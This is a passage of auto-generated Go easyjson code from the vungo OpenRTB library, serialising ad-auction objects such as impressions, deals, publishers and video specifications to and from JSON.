v40 string v40 = string(in.String()) out.Cat = append(out.Cat, v40) in.WantComma() } in.Delim(']') } case "prodq": out.ProdQ = ProductionQuality(in.Int()) case "videoquality": out.VideoQuality = ProductionQuality(in.Int()) case "context": out.Context = ContentContext(in.Int()) case "contentrating": out.ContentRating = string(in.String()) case "userrating": out.UserRating = string(in.String()) case "qagmediarating": out.QAGMediaRating = IQGMediaRating(in.Int()) case "keywords": out.Keywords = string(in.String()) case "livestream": if in.IsNull() { in.Skip() out.LiveStream = nil } else { if out.LiveStream == nil { out.LiveStream = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.LiveStream).UnmarshalJSON(data)) } } case "sourcerelationship": if in.IsNull() { in.Skip() out.SourceRelationship = nil } else { if out.SourceRelationship == nil { out.SourceRelationship = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.SourceRelationship).UnmarshalJSON(data)) } } case "len": if in.IsNull() { in.Skip() out.Len = nil } else { if out.Len == nil { out.Len = new(int) } *out.Len = int(in.Int()) } case "language": out.Language = string(in.String()) case "embeddable": if in.IsNull() { in.Skip() out.Embeddable = nil } else { if out.Embeddable == nil { out.Embeddable = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.Embeddable).UnmarshalJSON(data)) } } case "data": if in.IsNull() { in.Skip() out.Data = nil } else { in.Delim('[') if out.Data == nil { if !in.IsDelim(']') { out.Data = make([]*Data, 0, 8) } else { out.Data = []*Data{} } } else { out.Data = (out.Data)[:0] } for !in.IsDelim(']') { var v41 *Data if in.IsNull() { in.Skip() v41 = nil } else { if v41 == nil { v41 = new(Data) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb8(in, v41) } out.Data = append(out.Data, v41) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb11(out *jwriter.Writer, in Content) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Episode != nil { const prefix string = ",\"episode\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.Episode)) } if in.Title != "" { const prefix string = ",\"title\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Title)) } if in.Series != "" { const prefix string = ",\"series\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Series)) } if in.Season != "" { const prefix string = ",\"season\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Season)) } if in.Artist != "" { const prefix string = ",\"artist\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Artist)) } if in.Genre != "" { const prefix string = ",\"genre\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Genre)) } if in.Album != "" { const prefix string = ",\"album\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Album)) } if in.ISRC != "" { const prefix string = ",\"isrc\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.ISRC)) } if in.Producer != nil { const prefix string = ",\"producer\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb12(out, *in.Producer) } if in.URL != "" { const prefix string = ",\"url\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.URL)) } if len(in.Cat) != 0 { const prefix string = ",\"cat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v42, v43 := range in.Cat { if v42 > 0 { out.RawByte(',') } out.String(string(v43)) } out.RawByte(']') } } if in.ProdQ != 0 { const prefix string = ",\"prodq\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.ProdQ)) } if in.VideoQuality != 0 { const prefix string = ",\"videoquality\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.VideoQuality)) } if in.Context != 0 { const prefix string = ",\"context\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Context)) } if in.ContentRating != "" { const prefix string = ",\"contentrating\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.ContentRating)) } if in.UserRating != "" { const prefix string = ",\"userrating\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.UserRating)) } if in.QAGMediaRating != 0 { const prefix string = ",\"qagmediarating\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.QAGMediaRating)) } if in.Keywords != "" { const prefix string = ",\"keywords\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Keywords)) } if in.LiveStream != nil { const prefix string = ",\"livestream\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.LiveStream).MarshalJSON()) } if in.SourceRelationship != nil { const prefix string = ",\"sourcerelationship\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.SourceRelationship).MarshalJSON()) } if in.Len != nil { const prefix string = ",\"len\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(*in.Len)) } if in.Language != "" { const prefix string = ",\"language\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Language)) } if in.Embeddable != nil { const prefix string = ",\"embeddable\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((*in.Embeddable).MarshalJSON()) } if len(in.Data) != 0 { const prefix string = ",\"data\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v44, v45 := range in.Data { if v44 > 0 { out.RawByte(',') } if v45 == nil { out.RawString("null") } else { easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb8(out, *v45) } } out.RawByte(']') } } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb12(in *jlexer.Lexer, out *Producer) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Cat = nil } else { in.Delim('[') if out.Cat == nil { if !in.IsDelim(']') { out.Cat = make([]string, 0, 4) } else { out.Cat = []string{} } } else { out.Cat = (out.Cat)[:0] } for !in.IsDelim(']') { var v46 string v46 = string(in.String()) out.Cat = append(out.Cat, v46) in.WantComma() } in.Delim(']') } case "domain": out.Domain = string(in.String()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb12(out *jwriter.Writer, in Producer) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if len(in.Cat) != 0 { const prefix string = ",\"cat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v47, v48 := range in.Cat { if v47 > 0 { out.RawByte(',') } out.String(string(v48)) } out.RawByte(']') } } if in.Domain != "" { const prefix string = ",\"domain\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Domain)) } if in.Ext != nil { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb10(in *jlexer.Lexer, out *Publisher) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Categories = nil } else { in.Delim('[') if out.Categories == nil { if !in.IsDelim(']') { out.Categories = make([]string, 0, 4) } else { out.Categories = []string{} } } else { out.Categories = (out.Categories)[:0] } for !in.IsDelim(']') { var v49 string v49 = string(in.String()) out.Categories = append(out.Categories, v49) in.WantComma() } in.Delim(']') } case "domain": out.Domain = string(in.String()) case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb10(out *jwriter.Writer, in Publisher) { out.RawByte('{') first := true _ = first { const prefix string = ",\"id\":" out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" out.RawString(prefix) out.String(string(in.Name)) } if len(in.Categories) != 0 { const prefix string = ",\"cat\":" out.RawString(prefix) { out.RawByte('[') for v50, v51 := range in.Categories { if v50 > 0 { out.RawByte(',') } out.String(string(v51)) } out.RawByte(']') } } if in.Domain != "" { const prefix string = ",\"domain\":" out.RawString(prefix) out.String(string(in.Domain)) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" out.RawString(prefix) out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb1(in *jlexer.Lexer, out *Impression) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "metric": if in.IsNull() { in.Skip() out.Metrics = nil } else { in.Delim('[') if out.Metrics == nil { if !in.IsDelim(']') { out.Metrics = make([]*Metric, 0, 8) } else { out.Metrics = []*Metric{} } } else { out.Metrics = (out.Metrics)[:0] } for !in.IsDelim(']') { var v52 *Metric if in.IsNull() { in.Skip() v52 = nil } else { if v52 == nil { v52 = new(Metric) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb13(in, v52) } out.Metrics = append(out.Metrics, v52) in.WantComma() } in.Delim(']') } case "banner": if in.IsNull() { in.Skip() out.Banner = nil } else { if out.Banner == nil { out.Banner = new(Banner) } (*out.Banner).UnmarshalEasyJSON(in) } case "video": if in.IsNull() { in.Skip() out.Video = nil } else { if out.Video == nil { out.Video = new(Video) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb14(in, out.Video) } case "audio": if in.IsNull() { in.Skip() out.Audio = nil } else { if out.Audio == nil { out.Audio = new(Audio) } (*out.Audio).UnmarshalEasyJSON(in) } case "native": if in.IsNull() { in.Skip() out.Native = nil } else { if out.Native == nil { out.Native = new(Native) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb15(in, out.Native) } case "pmp": if in.IsNull() { in.Skip() out.PrivateMarketplace = nil } else { if out.PrivateMarketplace == nil { out.PrivateMarketplace = new(PrivateMarketplace) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb16(in, out.PrivateMarketplace) } case "displaymanager": out.DisplayManager = string(in.String()) case "displaymanagerver": out.DisplayManagerVersion = string(in.String()) case "instl": if data := in.Raw(); in.Ok() { in.AddError((out.IsInterstitial).UnmarshalJSON(data)) } case "tagid": out.TagID = string(in.String()) case "bidfloor": out.BidFloorPrice = float64(in.Float64()) case "bidfloorcur": out.BidFloorCurrency = Currency(in.String()) case "clickbrowser": if in.IsNull() { in.Skip() out.BrowserTypeUponClick = nil } else { if out.BrowserTypeUponClick == nil { out.BrowserTypeUponClick = new(BrowserType) } *out.BrowserTypeUponClick = BrowserType(in.Int()) } case "secure": if data := in.Raw(); in.Ok() { in.AddError((out.IsSecure).UnmarshalJSON(data)) } case "iframebuster": if in.IsNull() { in.Skip() out.IframeBuster = nil } else { in.Delim('[') if out.IframeBuster == nil { if !in.IsDelim(']') { out.IframeBuster = make([]string, 0, 4) } else { out.IframeBuster = []string{} } } else { out.IframeBuster = (out.IframeBuster)[:0] } for !in.IsDelim(']') { var v53 string v53 = string(in.String()) out.IframeBuster = append(out.IframeBuster, v53) in.WantComma() } in.Delim(']') } case "exp": out.Exp = int(in.Int()) case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb1(out *jwriter.Writer, in Impression) { out.RawByte('{') first := true _ = first { const prefix string = ",\"id\":" out.RawString(prefix[1:]) out.String(string(in.ID)) } if len(in.Metrics) != 0 { const prefix string = ",\"metric\":" out.RawString(prefix) { out.RawByte('[') for v54, v55 := range in.Metrics { if v54 > 0 { out.RawByte(',') } if v55 == nil { out.RawString("null") } else { easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb13(out, *v55) } } out.RawByte(']') } } if in.Banner != nil { const prefix string = ",\"banner\":" out.RawString(prefix) (*in.Banner).MarshalEasyJSON(out) } if in.Video != nil { const prefix string = ",\"video\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb14(out, *in.Video) } if in.Audio != nil { const prefix string = ",\"audio\":" out.RawString(prefix) (*in.Audio).MarshalEasyJSON(out) } if in.Native != nil { const prefix string = ",\"native\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb15(out, *in.Native) } if in.PrivateMarketplace != nil { const prefix string = ",\"pmp\":" out.RawString(prefix) easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb16(out, *in.PrivateMarketplace) } if in.DisplayManager != "" { const prefix string = ",\"displaymanager\":" out.RawString(prefix) out.String(string(in.DisplayManager)) } if in.DisplayManagerVersion != "" { const prefix string = ",\"displaymanagerver\":" out.RawString(prefix) out.String(string(in.DisplayManagerVersion)) } if in.IsInterstitial { const prefix string = ",\"instl\":" out.RawString(prefix) out.Raw((in.IsInterstitial).MarshalJSON()) } if in.TagID != "" { const prefix string = ",\"tagid\":" out.RawString(prefix) out.String(string(in.TagID)) } { const prefix string = ",\"bidfloor\":" out.RawString(prefix) out.Float64(float64(in.BidFloorPrice)) } if in.BidFloorCurrency != "" { const prefix string = ",\"bidfloorcur\":" out.RawString(prefix) out.String(string(in.BidFloorCurrency)) } if in.BrowserTypeUponClick != nil { const prefix string = ",\"clickbrowser\":" out.RawString(prefix) out.Int(int(*in.BrowserTypeUponClick)) } if in.IsSecure { const prefix string = ",\"secure\":" out.RawString(prefix) out.Raw((in.IsSecure).MarshalJSON()) } if len(in.IframeBuster) != 0 { const prefix string = ",\"iframebuster\":" out.RawString(prefix) { out.RawByte('[') for v56, v57 := range in.IframeBuster { if v56 > 0 { out.RawByte(',') } out.String(string(v57)) } out.RawByte(']') } } if in.Exp != 0 { const prefix string = ",\"exp\":" out.RawString(prefix) out.Int(int(in.Exp)) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" out.RawString(prefix) out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb16(in *jlexer.Lexer, out *PrivateMarketplace) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "private_auction": if data := in.Raw(); in.Ok() { in.AddError((out.IsPrivateAuction).UnmarshalJSON(data)) } case "deals": if in.IsNull() { in.Skip() out.Deals = nil } else { in.Delim('[') if out.Deals == nil { if !in.IsDelim(']') { out.Deals = make([]*Deal, 0, 8) } else { out.Deals = []*Deal{} } } else { out.Deals = (out.Deals)[:0] } for !in.IsDelim(']') { var v58 *Deal if in.IsNull() { in.Skip() v58 = nil } else { if v58 == nil { v58 = new(Deal) } easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb17(in, v58) } out.Deals = append(out.Deals, v58) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Extension.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Extension.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Extension = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb16(out *jwriter.Writer, in PrivateMarketplace) { out.RawByte('{') first := true _ = first { const prefix string = ",\"private_auction\":" out.RawString(prefix[1:]) out.Raw((in.IsPrivateAuction).MarshalJSON()) } { const prefix string = ",\"deals\":" out.RawString(prefix) if in.Deals == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 { out.RawString("null") } else { out.RawByte('[') for v59, v60 := range in.Deals { if v59 > 0 { out.RawByte(',') } if v60 == nil { out.RawString("null") } else { easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb17(out, *v60) } } out.RawByte(']') } } if in.Extension != nil { const prefix string = ",\"ext\":" out.RawString(prefix) if m, ok := in.Extension.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Extension.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Extension)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb17(in *jlexer.Lexer, out *Deal) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "bidfloor": out.BidFloorPrice = float64(in.Float64()) case "bidfloorcur": out.BidFloorCurrency = Currency(in.String()) case "at": out.AuctionType = DealAuctionType(in.Int()) case "wseat": if in.IsNull() { in.Skip() out.WhitelistedSeats = nil } else { in.Delim('[') if out.WhitelistedSeats == nil { if !in.IsDelim(']') { out.WhitelistedSeats = make([]string, 0, 4) } else { out.WhitelistedSeats = []string{} } } else { out.WhitelistedSeats = (out.WhitelistedSeats)[:0] } for !in.IsDelim(']') { var v61 string v61 = string(in.String()) out.WhitelistedSeats = append(out.WhitelistedSeats, v61) in.WantComma() } in.Delim(']') } case "wadomain": if in.IsNull() { in.Skip() out.AdvertiserDomains = nil } else { in.Delim('[') if out.AdvertiserDomains == nil { if !in.IsDelim(']') { out.AdvertiserDomains = make([]string, 0, 4) } else { out.AdvertiserDomains = []string{} } } else { out.AdvertiserDomains = (out.AdvertiserDomains)[:0] } for !in.IsDelim(']') { var v62 string v62 = string(in.String()) out.AdvertiserDomains = append(out.AdvertiserDomains, v62) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Extension.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Extension.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Extension = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb17(out *jwriter.Writer, in Deal) { out.RawByte('{') first := true _ = first { const prefix string = ",\"id\":" out.RawString(prefix[1:]) out.String(string(in.ID)) } { const prefix string = ",\"bidfloor\":" out.RawString(prefix) out.Float64(float64(in.BidFloorPrice)) } if in.BidFloorCurrency != "" { const prefix string = ",\"bidfloorcur\":" out.RawString(prefix) out.String(string(in.BidFloorCurrency)) } if in.AuctionType != 0 { const prefix string = ",\"at\":" out.RawString(prefix) out.Int(int(in.AuctionType)) } if len(in.WhitelistedSeats) != 0 { const prefix string = ",\"wseat\":" out.RawString(prefix) { out.RawByte('[') for v63, v64 := range in.WhitelistedSeats { if v63 > 0 { out.RawByte(',') } out.String(string(v64)) } out.RawByte(']') } } if len(in.AdvertiserDomains) != 0 { const prefix string = ",\"wadomain\":" out.RawString(prefix) { out.RawByte('[') for v65, v66 := range in.AdvertiserDomains { if v65 > 0 { out.RawByte(',') } out.String(string(v66)) } out.RawByte(']') } } if in.Extension != nil { const prefix string = ",\"ext\":" out.RawString(prefix) if m, ok := in.Extension.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Extension.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Extension)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb15(in *jlexer.Lexer, out *Native) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "request": out.Request = string(in.String()) case "ver": out.Version = string(in.String()) case "api": if in.IsNull() { in.Skip() out.APIFrameworks = nil } else { in.Delim('[') if out.APIFrameworks == nil { if !in.IsDelim(']') { out.APIFrameworks = make([]APIFramework, 0, 8) } else { out.APIFrameworks = []APIFramework{} } } else { out.APIFrameworks = (out.APIFrameworks)[:0] } for !in.IsDelim(']') { var v67 APIFramework v67 = APIFramework(in.Int()) out.APIFrameworks = append(out.APIFrameworks, v67) in.WantComma() } in.Delim(']') } case "battr": if in.IsNull() { in.Skip() out.BlockedCreativeAttributes = nil } else { in.Delim('[') if out.BlockedCreativeAttributes == nil { if !in.IsDelim(']') { out.BlockedCreativeAttributes = make([]CreativeAttribute, 0, 8) } else { out.BlockedCreativeAttributes = []CreativeAttribute{} } } else { out.BlockedCreativeAttributes = (out.BlockedCreativeAttributes)[:0] } for !in.IsDelim(']') { var v68 CreativeAttribute v68 = CreativeAttribute(in.Int()) out.BlockedCreativeAttributes = append(out.BlockedCreativeAttributes, v68) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Extension.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Extension.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Extension = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb15(out *jwriter.Writer, in Native) { out.RawByte('{') first := true _ = first { const prefix string = ",\"request\":" out.RawString(prefix[1:]) out.String(string(in.Request)) } if in.Version != "" { const prefix string = ",\"ver\":" out.RawString(prefix) out.String(string(in.Version)) } if len(in.APIFrameworks) != 0 { const prefix string = ",\"api\":" out.RawString(prefix) { out.RawByte('[') for v69, v70 := range in.APIFrameworks { if v69 > 0 { out.RawByte(',') } out.Int(int(v70)) } out.RawByte(']') } } if len(in.BlockedCreativeAttributes) != 0 { const prefix string = ",\"battr\":" out.RawString(prefix) { out.RawByte('[') for v71, v72 := range in.BlockedCreativeAttributes { if v71 > 0 { out.RawByte(',') } out.Int(int(v72)) } out.RawByte(']') } } if in.Extension != nil { const prefix string = ",\"ext\":" out.RawString(prefix) if m, ok := in.Extension.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Extension.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Extension)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb14(in *jlexer.Lexer, out *Video) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "mimes": if in.IsNull() { in.Skip() out.MIMETypes = nil } else { in.Delim('[') if out.MIMETypes == nil { if !in.IsDelim(']') { out.MIMETypes = make([]string, 0, 4) } else { out.MIMETypes = []string{} } } else { out.MIMETypes = (out.MIMETypes)[:0] } for !in.IsDelim(']') { var v73 string v73 = string(in.String()) out.MIMETypes = append(out.MIMETypes, v73) in.WantComma() } in.Delim(']') } case "minduration": if in.IsNull() { in.Skip() out.MinDuration = nil } else { if out.MinDuration == nil { out.MinDuration = new(int) } *out.MinDuration = int(in.Int()) } case "maxduration": if in.IsNull() { in.Skip() out.MaxDuration = nil } else { if out.MaxDuration == nil { out.MaxDuration = new(int) } *out.MaxDuration = int(in.Int()) } case "protocols": if in.IsNull() { in.Skip() out.Protocols = nil } else { in.Delim('[') if out.Protocols == nil { if !in.IsDelim(']') { out.Protocols = make([]Protocol, 0, 8) } else { out.Protocols = []Protocol{} } } else { out.Protocols = (out.Protocols)[:0] } for !in.IsDelim(']') { var v74 Protocol v74 = Protocol(in.Int()) out.Protocols = append(out.Protocols, v74) in.WantComma() } in.Delim(']') } case "protocol": out.Protocol = Protocol(in.Int()) case "w": out.Width = int(in.Int()) case "h": out.Height = int(in.Int()) case "startdelay": if in.IsNull() { in.Skip() out.StartDelay = nil } else { if out.StartDelay == nil { out.StartDelay = new(StartDelay) } *out.StartDelay = StartDelay(in.Int()) } case "placement": out.PlacementType = VideoPlacementType(in.Int()) case "plcmt": out.PlcmtType = VideoPlcmtType(in.Int()) case "linearity": out.Linearity = Linearity(in.Int()) case "skip": out.Skippable = int(in.Int()) case "skipmin": out.SkipMin = int(in.Int()) case "skipafter": out.SkipAfter = int(in.Int()) case "sequence": out.Sequence = int(in.Int()) case "battr": if in.IsNull() { in.Skip() out.BlockedCreativeAttributes = nil } else { in.Delim('[') if out.BlockedCreativeAttributes == nil { if !in.IsDelim(']') { out.BlockedCreativeAttributes = make([]CreativeAttribute, 0, 8) } else { out.BlockedCreativeAttributes = []CreativeAttribute{} } } else { out.BlockedCreativeAttributes = (out.BlockedCreativeAttributes)[:0] } for !in.IsDelim(']') { var v75 CreativeAttribute v75 = CreativeAttribute(in.Int()) out.BlockedCreativeAttributes = append(out.BlockedCreativeAttributes, v75) in.WantComma() } in.Delim(']') } case "maxextended": out.MaxExtendedDuration = int(in.Int()) case "minbitrate": out.MinBitRate = int(in.Int()) case "maxbitrate": out.MaxBitRate = int(in.Int()) case "boxingallowed": if data := in.Raw(); in.Ok() { in.AddError((out.IsBoxingAllowed).UnmarshalJSON(data)) } case "playbackmethod": if in.IsNull() { in.Skip() out.PlaybackMethods = nil } else { in.Delim('[') if out.PlaybackMethods == nil { if !in.IsDelim(']') { out.PlaybackMethods = make([]PlaybackMethod, 0, 8) } else { out.PlaybackMethods = []PlaybackMethod{} } } else { out.PlaybackMethods = (out.PlaybackMethods)[:0] } for !in.IsDelim(']') { var v76 PlaybackMethod v76 = PlaybackMethod(in.Int()) out.PlaybackMethods = append(out.PlaybackMethods, v76) in.WantComma() } in.Delim(']') } case "playbackend": out.PlaybackEndEvent = PlaybackCessationMode(in.Int()) case "delivery": if in.IsNull() { in.Skip() out.DeliveryMethods = nil } else { in.Delim('[') if out.DeliveryMethods == nil { if !in.IsDelim(']') { out.DeliveryMethods = make([]DeliveryMethod, 0, 8) } else { out.DeliveryMethods = []DeliveryMethod{} } } else { out.DeliveryMethods = (out.DeliveryMethods)[:0] } for !in.IsDelim(']') { var v77 DeliveryMethod v77 = DeliveryMethod(in.Int()) out.DeliveryMethods = append(out.DeliveryMethods, v77) in.WantComma() } in.Delim(']') } case "pos": out.Position = AdPosition(in.Int()) case "companionad": if in.IsNull() { in.Skip() out.CompanionAds = nil } else { in.Delim('[') if out.CompanionAds == nil { if !in.IsDelim(']') { out.CompanionAds = make([]Banner, 0, 0) } else { out.CompanionAds = []Banner{} } } else { out.CompanionAds = (out.CompanionAds)[:0] } for !in.IsDelim(']') { var v78 Banner (v78).UnmarshalEasyJSON(in) out.CompanionAds = append(out.CompanionAds, v78) in.WantComma() } in.Delim(']') } case "api": if in.IsNull() { in.Skip() out.APIFrameworks = nil } else { in.Delim('[') if out.APIFrameworks == nil { if !in.IsDelim(']') { out.APIFrameworks = make([]APIFramework, 0, 8) } else { out.APIFrameworks = []APIFramework{} } } else { out.APIFrameworks = (out.APIFrameworks)[:0] } for !in.IsDelim(']') { var v79 APIFramework v79 = APIFramework(in.Int()) out.APIFrameworks = append(out.APIFrameworks, v79) in.WantComma() } in.Delim(']') } case "companiontype": if in.IsNull() { in.Skip() out.CompanionTypes = nil } else { in.Delim('[') if out.CompanionTypes == nil { if !in.IsDelim(']') { out.CompanionTypes = make([]CompanionType, 0, 8) } else { out.CompanionTypes = []CompanionType{} } } else { out.CompanionTypes = (out.CompanionTypes)[:0] 